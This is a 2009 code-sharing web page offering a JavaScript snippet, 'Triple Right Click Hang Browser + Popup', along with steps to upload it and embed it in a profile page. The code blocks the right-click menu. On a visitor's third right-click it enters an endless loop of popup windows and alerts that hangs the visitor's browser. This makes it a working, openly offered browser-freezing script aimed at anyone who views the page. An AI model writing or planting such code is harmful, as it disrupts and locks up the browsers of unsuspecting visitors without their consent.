Feaured Profiles


Your profile here? Be featured now!

            


Triple Right Click Hang Browser + Popup

Contributed by >-Patrick-> on March 1st, 2009 Categories: Javascript Codes, Tricks and Tweaks 3,032 Views
1 Star2 Stars (+10 rating, 6 votes)
Loading ... Loading ...
  1. Copy the codes below and paste it in notepad.
  2. Edit the BOLD parts and save it as hang.js
  3. Upload your file at HERE
  4. Copy the Direct Link URL and generate it in our JS LINKER and see the instructions.

var times=0;

function rightClicked(){
if (times>1) {
alert (”LAST ALERT“);
while (1==1) {
window.open(’POP UP URL‘);
alert(’HANG ALERT‘);
}
}
if (times==1) {
alert(”2ND ALERT“);
times++
}
if (times<1) {
alert(”1ST ALERT“);
times++
}
}

function clickIE4(){
if (event.button==2){
rightClicked();
return false;
}
}

function clickNS4(e){
if (document.layers||document.getElementById&&!
document.all){
if (e.which==2||e.which==3){
rightClicked();
return false;
}
}
}

if (document.layers){
document.captureEvents(Event.MOUSEDOWN);
document.onmousedown=clickNS4;
}
else if (document.all&&!document.getElementById){
document.onmousedown=clickIE4;
}

document.oncontextmenu=new Function
(”rightClicked();return false”)





Credits to Friendstertalk.com for the CSS and JS codes.

Leave a Reply